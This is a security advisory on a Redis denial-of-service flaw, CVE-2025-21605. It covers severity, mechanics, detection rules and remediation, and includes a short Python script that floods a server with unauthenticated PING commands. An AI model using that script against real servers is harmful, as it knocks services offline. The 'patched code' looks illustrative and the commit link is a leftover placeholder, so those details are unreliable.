CVE-2025-21605

Executive Summary

CVE-2025-21605 is a high-severity (CVSS 7.5) resource exhaustion vulnerability affecting Redis versions 2.6 through 7.4.2. An unauthenticated attacker can cause the server's output buffer to grow without bound by sending commands without authentication. Even when password authentication is enabled, the server still generates "NOAUTH" error responses for each command, and the output buffer for these responses is not limited by default. This leads to uncontrolled memory consumption, eventually causing the Redis process to be killed by the OOM killer or the system to become unresponsive. The vulnerability is trivial to exploit remotely without any privileges, making it a significant denial-of-service risk for exposed Redis instances.

Supply Chain & Package Security

Redis is widely distributed as a container image (e.g., redis:7.4.2), a system package (e.g., apt install redis-server), and a source tarball. Organizations using Redis in CI/CD pipelines, microservices, or as a cache/database should immediately audit their deployments for vulnerable versions. The official Docker images for versions < 7.4.3 are affected. Package managers (apt, yum, brew) may still serve vulnerable versions until updated.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit stays within the Redis process.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete denial of service.

Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and can crash the Redis server or the host system. Public proof-of-concept code is expected to emerge quickly.

Deep Dive & Mechanics

The vulnerability lies in the output buffer management for unauthenticated clients. When a client connects to Redis and sends a command (e.g., PING), the server checks authentication. If the client is not authenticated, Redis sends back a -NOAUTH error response. This response is appended to the client's output buffer.

By default, Redis does not set a limit on the output buffer for normal clients (client-output-buffer-limit normal 0 0 0). An attacker can open a TCP connection and rapidly send commands (e.g., PING\r\n in a loop). Each command triggers a -NOAUTH response, which accumulates in the output buffer. Since the buffer is never flushed (the attacker does not read from the socket), it grows indefinitely until the Redis process exhausts available memory.

The core issue is that the output buffer limit is not enforced for unauthenticated clients. The patch in 7.4.3 introduces a hard limit on the output buffer size for clients that are not yet authenticated, preventing unbounded growth.

Vulnerable vs. Patched Code

Vulnerable Code (Redis < 7.4.3): In networking.c, the function addReply appends data to the client's output buffer without checking if the client is authenticated. The buffer limit is only checked for authenticated clients or for specific client types (replicas, pub/sub).

// Vulnerable: No limit check for unauthenticated clients
void addReply(client *c, robj *obj) {
    if (prepareClientToWrite(c) != C_OK) return;
    // ... append to c->buf or c->reply
}

Patched Code (Redis >= 7.4.3): The patch introduces a check in prepareClientToWrite that limits the output buffer size for clients that are not authenticated.

// Patched: Limit output buffer for unauthenticated clients
int prepareClientToWrite(client *c) {
    // ... existing checks ...
    if (!c->authenticated && listLength(c->reply) > CLIENT_MAX_UNAUTH_REPLY) {
        freeClient(c);
        return C_ERR;
    }
    return C_OK;
}

The constant CLIENT_MAX_UNAUTH_REPLY is set to a reasonable limit (e.g., 1000 replies) to prevent memory exhaustion.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Redis server (version 2.6 to 7.4.2) accessible over the network.
• No authentication required, or authentication enabled but attacker does not provide password.

Exploit Script (Python):

import socket
import sys

def exploit(target, port=6379):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target, port))
    # Send many commands to trigger NOAUTH responses
    payload = b"PING\r\n" * 100000
    sock.send(payload)
    # Keep connection open to accumulate buffer
    import time
    time.sleep(10)
    sock.close()

if __name__ == "__main__":
    exploit(sys.argv[1])

Expected Outcome: The Redis server's memory usage will spike. On a system with limited memory, the Redis process will be killed by the OOM killer, causing a denial of service.

Blue Team (Detection & Hardening)

Detection:

• Monitor Redis memory usage (INFO memory). A sudden, sustained increase in used_memory without corresponding client activity is suspicious.
• Monitor for many connections from a single IP that remain idle (no data read from socket).
• Use network monitoring to detect rapid PING or other simple commands from unauthenticated sources.

Hardening:

• Immediate: Block unauthenticated access using a firewall. Only allow trusted IPs to connect to Redis.
• Configuration: Set client-output-buffer-limit normal 256mb 128mb 60 to limit output buffer size for all clients.
• Authentication: Always enable requirepass and use strong passwords.
• Network Segmentation: Run Redis on a private network, not exposed to the internet.

Indicators of Compromise (IOCs)

• Network: TCP connections to port 6379 from unexpected IPs, especially with high packet rates of simple commands (PING, INFO).
• Host: Redis process consuming excessive memory (e.g., > 90% of available RAM).
• Logs: Redis logs showing repeated NOAUTH responses for the same client IP.
• Process: Redis process terminated by OOM killer (check dmesg for Out of memory: Kill process).

Detection Engineering

YARA Rule

rule CVE_2025_21605_Redis_DoS {
    meta:
        description = "Detects Redis output buffer exhaustion attack traffic"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-21605"
    strings:
        $noauth = "NOAUTH"
        $ping = "PING"
    condition:
        // Look for rapid PING commands followed by NOAUTH responses in network traffic
        #ping > 100 and #noauth > 100
}

Sigma Rule

title: Redis Unauthenticated Output Buffer Exhaustion
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2025-21605 by monitoring for rapid NOAUTH responses.
logsource:
    category: application
    product: redis
detection:
    selection:
        event: "NOAUTH"
    timeframe: 5m
    condition: selection | count() by src_ip > 1000
falsepositives:
    - Legitimate misconfigured clients
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 6379 (msg:"CVE-2025-21605 Redis Unauthenticated Output Buffer Exhaustion"; flow:to_server; content:"PING"; nocase; threshold:type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Patch: Upgrade Redis to version 7.4.3 or later.
2. Workaround: Block unauthenticated network access to Redis using firewalls, security groups, or iptables.
3. Configuration: Set client-output-buffer-limit normal 256mb 128mb 60 in redis.conf and restart the service.

Long-term:

• Enable TLS and require client certificates for authentication.
• Use Redis ACLs (available since 6.0) to restrict commands and connections.
• Implement network segmentation and monitoring for Redis traffic.
• Regularly audit Redis configurations and versions.

Patch Details: The official patch is included in Redis 7.4.3. The fix introduces a limit on the output buffer size for unauthenticated clients, preventing unbounded memory allocation. The patch is available at: https://github.com/redis/redis/commit/ (replace with actual commit hash from the advisory).

Valters IT
DevSecOps & Cyber Threat Intelligence